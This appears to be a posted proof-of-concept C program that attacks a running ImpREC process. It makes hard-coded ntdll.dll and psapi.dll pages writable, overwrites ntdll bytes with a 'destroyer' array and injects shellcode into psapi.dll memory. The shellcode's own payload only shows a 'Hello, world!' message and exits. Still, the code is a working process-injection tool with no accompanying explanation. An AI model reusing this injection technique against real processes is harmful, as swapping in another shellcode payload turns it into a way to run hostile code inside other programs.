|
#include <stdio.h>
#include <windows.h>
char destroyer[] =
"\x00\x00\x00\x00\x00\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char shellcode[] =
"\x31\xc0\x68\x21\x00\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x89\xe3\x50\x53\x53\x50\xff\x15\xb8\xd3"
"\x44\x00\x50\xff\x15\xa8\xd0\x44\x00";
int main(int argc, char* argv[])
{
HANDLE imprec;
int bytes_written;
int old_protect;
if (argc != 2) {
printf("Usage: %s <ImpREC PID>\n", argv[0]);
return 1;
}
imprec = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE,
atoi(argv[1]));
if (!imprec) {
printf("[-] Cannot open ImpREC process.\n");
return 1;
}
if (!VirtualProtectEx(
imprec,
(void*) 0x7c914000,
0x1000,
PAGE_EXECUTE_READWRITE,
&old_protect)) {
printf("[-] Cannot set page protection of ntdll.dll memory.\n");
CloseHandle(imprec);
return 1;
}
if (!VirtualProtectEx(
imprec,
(void*) 0x51400000,
0x1000,
PAGE_EXECUTE_READWRITE,
&old_protect)) {
printf("[-] Cannot set page protection of psapi.dll memory.\n");
CloseHandle(imprec);
return 1;
}
if (!WriteProcessMemory(
imprec,
(void*) 0x7c914001,
destroyer,
16,
&bytes_written)) {
printf("[-] Cannot write the destroyer bytes to ntdll.dll memory.\n");
CloseHandle(imprec);
return 1;
}
if (!WriteProcessMemory(
imprec,
(void*) 0x5140097c,
shellcode,
41,
&bytes_written)) {
printf("[-] Cannot write the shellcode to psapi.dll memory.\n");
CloseHandle(imprec);
return 1;
}
printf("[+] The memory has patched.");
CloseHandle(imprec);
return 0;
}
|
推荐
评论(0条)
